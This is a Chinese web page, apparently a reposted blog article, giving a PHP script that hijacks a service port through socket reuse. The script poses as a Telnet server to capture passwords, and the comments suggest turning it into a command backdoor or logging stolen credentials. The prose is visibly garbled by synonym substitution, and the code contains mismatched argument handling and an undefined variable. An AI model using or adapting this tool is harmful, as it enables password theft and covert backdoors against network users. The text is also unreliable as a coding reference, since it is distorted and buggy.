设为主页 | 加入收藏 | 繁體中文

PHP下实现端口复用/劫持

  作者:Darkness
  每每看到有朋侪问端口复用,我花了一个早晨写了一点代码
  本来想做成嗅叹转发的,无法单线程的东西很范围,而且始终只能得到头行数据。我想要做成那样的,对于高手来说,不是困难的事。
  要是你不懂怎样配置,请参照我以前的文章《PHP-SOCKETS初步接触》。WIN下只需有GUEST权限即可用,而且经过配合
  〈WINDOWS下装多个PHP〉  这篇文章,GUEST可以单独安置支持PHPSOCKETS的PHP。
  假如监听127.0.0.1 ,拜访共网IP不受影响,假如监听公网IP,127。0。0。1等IP不受影响。
  这个可以用于诱骗用户暗码,由于原来的服务不行用了。大概留成针对内网用户的后门。
  末了接待加MSN:CQXY[AT]21CN。NET赐教。
  #!/usr/bin/php -q
  #c0dz by Darkness[BST]
  #Team:www.bugkidz.org
  #E-mail:cqxy[at]21cn.net
    if ($argc != 3 || in_array($argc[1] , array('--help','-h','?')))
  {
  echo "Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21\r\n";
  echo "c0dz By Darkness[BST]";
  exit;
  }
  error_reporting(E_ALL);
  set_time_limit(0);
  ob_implicit_flush();
  $host = $argv[1];
  $port = $argv[2];
  if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
  echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n";
  } /*建立SOCKET*/
  socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1); /*设置SOCKET连接的属性为SO_REUSEADDR,这样才可以端口复用*/
  if (($ret = socket_bind($sock, $host, $port)) < 0) {
  echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n";
  }/*绑定端口*/
  if (($ret = socket_listen($sock, 5)) < 0) {
  echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
  }  /*开始监听*/
  while(true) {
  if (($sniffer = socket_accept($sock)) < 0) {
  echo "socket_accept() failed: reason: " . socket_strerror($sniffer) . "\n";
  break;
  }
  if ($port == 23)
  {
  $txt = "Welcome to the Telnet Server\r\n";
  $txt .="User:\r\n";
  socket_write($sniffer, $txt, strlen($txt));
  } /*这里是假装信息,把本身假装成原来的TELNET服务器,这样来骗取暗码*/
  while(true) {
  if(($buf = @socket_read($sniffer, 2048, PHP_BINARY_READ)) ==false)
  {
  break;
  }
  if (!$buf = trim($buf)) {
  continue;
  }
  if ($buf == '!quit') {
  break;
  }
  if ($buf == '!shutdown') {
  socket_close($sniffer);
  break 2;        /*其实这里可以挪用system(),搞成一个CMD后门,横竖你想怎样改都可以*/
  }
  $sniff_data = "$buf\r\n";
  /* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/
  echo $sniff_data;
  /*输出字符串,这里可以加进文件处理,保存暗码什么的*/
  }
  socket_close($sniffer);
  }
  socket_close($resock);
  socket_close($sock);
  ?>
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: